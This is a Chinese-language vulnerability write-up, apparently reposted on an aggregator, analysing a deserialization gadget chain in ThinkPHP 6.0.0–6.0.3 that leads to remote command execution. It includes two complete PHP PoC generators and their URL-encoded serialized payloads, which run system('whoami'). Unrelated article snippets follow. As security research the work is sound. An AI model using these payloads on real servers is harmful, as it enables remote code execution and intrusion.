thinkPHP6 反序列化

news/2024/11/14 20:53:56/文章来源:https://www.cnblogs.com/gaorenyusi/p/18384979

thinkPHP6 反序列化

thinkPHP v6.0.0-6.0.3

环境搭建

新版v6基于 PHP7.1+ 开发

php-7.3.4
ThinkPHP v6.0.3

使用composer进行安装

composer create-project topthink/think=6.0.3 tp6.0

然后利用 phpstudy 打开框架,简单配置如下子,再同样的道理配置 phpstorm 的调试。

但是万事俱备正准备开审后发现打开怎么是 thinkphp 6.1.4 版本的。后面了解到 composer 下载 thinkphp 框架会自动下载当前的最新稳定版,然后我又去 github 把 thinkphp 6.0.3 的源码下下来,不过里面的是少了些文件的。需要执行 composer install,于是版本又变回了 thinkphp 6.1.4。

最后参考 https://blog.csdn.net/weixin_45794666/article/details/123237118 解决了问题。

修改 composer.json 文件参数

然后执行 composer update,又因为其版本不兼容 8.0.1 以上,然后根据报错文件位置修改最低 php 版本就可以访问了。

最终得到完美的 thinkphp 6.0.3

漏洞分析

__destruct 链条

添加反序列化入口。

public function poc(){  $tmp = $_POST['gaoren'];  echo $tmp;  unserialize($tmp);  
}

然后现在就是需要找入口类了,一般发序列化的触发函数就是 __destruct 或者 __wakeup,但是 __wakeup 一般是作为对象初始化使用,所以这里先进行全局搜索 __destruct

发现再 Model.php 中的 __destruct 方法再满足条件后调用了 save() 方法($this->lazySave 可以控制),跟进到该 save() 方法

这里想要调用 updateData() 方法需要满足上面的 if 条件,看到其还是个三元运算法,所以还需要其满足前面的条件 $result = $this->exists

先跟进 isEmpty()

$this→data 可控,只要让 data[] 不为空,就会 false,再看看第二个条件,需要其为 true

看到如果 $this->withEvent 为 false 就会返回 true。同样可以控制。然后继续看 $result = $this->exists,其中 $this->exists 可控。

所以直接跟进updateData()

我们需要调用 $this->checkAllowFields(),看到在其前面要满足 3 个 if 条件。

先看第一个 if 条件

if (false === $this->trigger('BeforeUpdate'))

和上面一样函数 trigger() 可控,

第二个 if 条件

empty($data)

跟进函数 getChangedData()

看到满足 if 条件后就会让 $data=1$a$b 都可以控制。

第三个 if 条件

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime]))

看到是&&只要不满足任意一个条件就行,这里需要 $data 为空,但是上面设置了 $data 为非空,

所以直接来到 $this->checkAllowFields() 方法。

看到存在字符串拼接,那么是不是就可以触发到 __tostring 魔术方法,但是后面调试发现并不会到这里,跟进到 db(),

看到这里同样存在字符串拼接还是两个,会执行并且条件也非常好满足。那么现在再来理一下链子

__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()

需要满足的条件

$lazySave == true
$data不为空
$withEvent == false
$this->exists == true

__tostring 链条

后面就是延续 tp5 反序列化的触发 __toString 魔术方法了,直接跟进到 E:\WebCMS\thinkphp\tp6\vendor\topthink\think-orm\src\model\concern\Conversion.php 中的 __tostring

看到 toJson() 方法就在其上面,发现调用了 toArray 方法,跟进

这里重点是第三个 foreach 中的 getAttr() 方法,

但继续看下的 elseif 语句,如果不存在并且变量 $hasVisible 为 false 也可以调用 getAttr() 方法,而 $hasVisible 默认就是 false,所以会直接默认调用第二个 elseif 中的方法,

但是我在测试时发现在其打上断点没有用。但是在上面$data 的获取打上断点进入发现还是会调用到 getAttr() 方法,

继续进入 getValue() 方法。

这里再满足第一个 if 条件,不满足第二三个 if 条件就可以利用 $value = $closure($value, $this->data); 进行命令执行了。

先看第一个条件,需要存在 $this→withAttr[$fieldName],也就是数组 withAttr 存在 $fieldName 键对应的值,$fieldName 又等于 $name,朔源发现 $name 等于 $data 的键名。所以这里意思就是需要 $withAttr$data 存在相同的键名。

然后看第二个条件 $ relation 要为 false,其默认就是 false 。

最后一个条件是&&,满足后面一个即可,即 $this->withAttr[$ fieldName] 不为数组,也就是该键对应的值不为数组,这个肯定满足,我们执行恶意命令需要其等于 system

然后再让 $data 键对应的值为命令即可。理下后半段链子

__toString()-->toJson()-->toArray()-->getAttr()-->getValue()

需要构造

$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"];

poc 编写

poc1

先把 model 类中需要满足条件的变量进行赋值。

由于其是抽象类不能被实例化,需要用它的子类,发现 Pivot 继承了

所以先编写

<?php  
namespace think;  
abstract class Model{  
}  namespace think\model;  use think\Model;  
class Pivot extends Model{  }

然后再开始给变量赋值

<?phpnamespace think\model\concern;trait Attribute
{private $data = ["Lethe" => "whoami"];private $withAttr = ["Lethe" => "system"];
}namespace think;abstract class Model
{use model\concern\Attribute;private $lazySave;protected $withEvent;private $exists;private $force;protected $table;function __construct($obj = ''){$this->lazySave = true;$this->withEvent = false;$this->exists = true;$this->force = true;$this->table = $obj;}
}namespace think\model;use think\Model;class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);echo urlencode(serialize($b));

这里看到

$a = new Pivot();
$b = new Pivot($a);

实际上就是给 $table 赋值为一个对象。然后字符串拼接触发 __tostring,但是按理说应该调用 model 类中的 tostirng 方法,但是由于这里面没有 tostring 方法,那又是怎么调用到 Conversion 中的 tostring 呢?

看到直接 use 了该 trait,所以可以直接调用其中的方法,所以也就是触发到了其 tostring 方法,后面的就不用多说什么了。

然后之所以加上 use model\concern\Attribute; 是因为 trait 没法实例化也就没法赋值了,但是可以通过这种方式进行赋值,use 它,然后类实例化后就有它。

生成 poc

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7D

poc2

<?php  
namespace think\model\concern;  
trait Attribute  
{  private $data = ["key"=>"whoami"];  private $withAttr = ["key"=>"system"];  
}  
namespace think;  
abstract class Model  
{  use model\concern\Attribute;  private $lazySave = true;  protected $withEvent = false;  private $exists = true;  protected $name;  public function __construct($obj=""){  $this->name=$obj;  }  
}  
namespace think\model;  
use think\Model;  
class Pivot extends Model  
{}  
$a=new Pivot();  
$b=new Pivot($a);  
echo urlencode(serialize($b));

原理其实是差不多,

abstract class Model  
{  use model\concern\Attribute;  private $lazySave = true;  protected $withEvent = false;  private $exists = true;  protected $name;  public function __construct($obj=""){  $this->name=$obj;  }  
}  $a=new Pivot();  
$b=new Pivot($a); 

只是这里并没有给 $suffix 或者是 $table 赋值,而是给 $name 赋值,调试

然后拼接调用 tostring 方法,

生成 poc

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A6%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A6%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7D

本地测试:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/788599.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

由Flase引起的问题

特别抽象!起因是想用github来托管我的代码,后来发现出现了点错误 fatal: bad boolean config value flase for http.sslverify解决方案: 打开C盘 -> 搜索 .gitconfig -> 在里面修改内容即可再次回到 gitbash 上,再次输入git clone 的指令,非常好,一波未平一波又起 …

自我介绍软工5问

这个作业属于哪个课程 https://edu.cnblogs.com/campus/gdgy/CSGrade22-34这个作业要求在哪里 https://edu.cnblogs.com/campus/gdgy/CSGrade22-34/homework/13228这个作业的目标 创建自己的博客和github账号,养成写博客的好习惯,了解程序员的工作的方式,熟悉markdown自我介…

js的10个使用技巧

js 技巧 01 如果仅在变量为true的情况下调用函数,你就可以使用与(&&)的短路形式作为替代方法。 02 如果期望值不正确,我们可以使用OR(丨丨)短路运算,为变量分配默认值。03 将多个变量赋值 我们可以通过数组解构来对一行中的多个变量赋值。 04 箭头函数 05 对于…

Adam-mini Use Fewer Learning Rates To Gain More

目录概Adam-mini代码Zhang Y., Chen C., Li Z., Ding T., Wu C., Ye Y., Luo Z. and Sun R. Adam-mini: Use fewer learning rates to gain more. arXiv preprint, 2024.概 作者提出一种简化的 optimizer, 在取得和 Adam 相媲美的性能的同时, 只需要一半的内存开销. Adam-mini我…

AP5151线性降压LED恒流芯片 2.7-5.5V 照明手电筒、台灯、矿灯方案

概述 AP5151 是一种低压差、线性降压、 固定输出电流的 LED 恒流驱动器。 除 LED 外,AP5151 无需外接其它元 器件即可构成一个恒流输出的 LED 驱动 电路。 AP5151 内置过热保护功能,可有效 保护芯片,避免结温超过120C时因过热而造成损坏。 AP5151 还集成了 LED 短路 保护、电…

真香,powershell 7,pwsh / powershell打印中文乱码

背景 今天又测试了一个脚本,发现存在很多问题,首先就是打印中文出现乱码。 这个问题我早期遇到过,当初的解决办法就是直接把脚本改成gbk格式。 如今再碰到一次这个问题,又去查了一遍,发现powershell的新版已经解决了这个问题。于是找办法更新powershell。 更新 https://gi…

mmcv2.0中build loop、loop.run()、从Dataloader中取数据、run_iter()函数

本篇博客中,我们以推理为例。 首先进入Runer类中的test函数:然后进入Runer类中的build_test_loop函数:然后经过Registry中的build_from_cfg等函数,进入TestLoop类的__init__进行初始化。初始化的时候,会进入父类BaseLoop,在BaseLoop中,会对Dataloader进行build,关于mmc…

CrossEntropy Loss 计算实例讲解

CrossEntropy Loss 计算过程全分析前提条件:分类标签labels和模型输出结果outputs = model(inputs)outputs为一个未经过 softmax 的 logits 向量 𝑧 = [𝑧1, 𝑧2, …, 𝑧C],对应每个类别 𝐶 的原始分数。e.g.,二分类问题,有两个原始分数(𝐶 等于2):利用Soft…

【Linux网络编程】网络编程常见概念

【Linux网络编程】网络编程常见概念 阻塞与非阻塞 阻塞 IO:执行的系统调用可能因为无法立即完成而被操作系统挂起,直到等待的事件发生为止。如服务端的 accept(),在客户端未 connect() 时,其一直处于阻塞状态直至发生为止,但我们可以对监听的文件描述符通过 fcntl() 设置 …

【一】开始篇

概述 之前在暑假有空学习了一下mprpc项目,这是一个基于陈硕大佬写的muduo库、protobuf的分布式rpc框架,现在想整理一下内容(众所周知,学了不整理等于白学) 技术栈集群和分布式概念以及原理 RPC远程过程调用原理以及实现 Protobuf数据序列化和反序列化协议 Protobuf数据序列…

.net MAUI 发布时报错,无法识别指定的 RuntimeIdentifier“win10-x64”的原因

是因为MAUI项目引用了普通的C#类库导致的。MAUI只能引用MAUI类库,不能引用普通的类库。虽然能运行但打包时会报错。参考https://learn.microsoft.com/zh-cn/answers/questions/1685237/maui-net8-0-net8-0-targetframeworks。 这是MAUI类库

【Linux网络编程】字节序

【Linux网络编程】字节序 字节序 字节序就是字节在内存中存储的顺序,如32位整数0x01234567,在内存中存储时,有如下两种顺序:大端序将数值的高位存储在低位地址中,小端序则相反。 网络字节序 网络中传输数据均采用大端序。 Linux字节序转换函数 在 #include <netinet/in…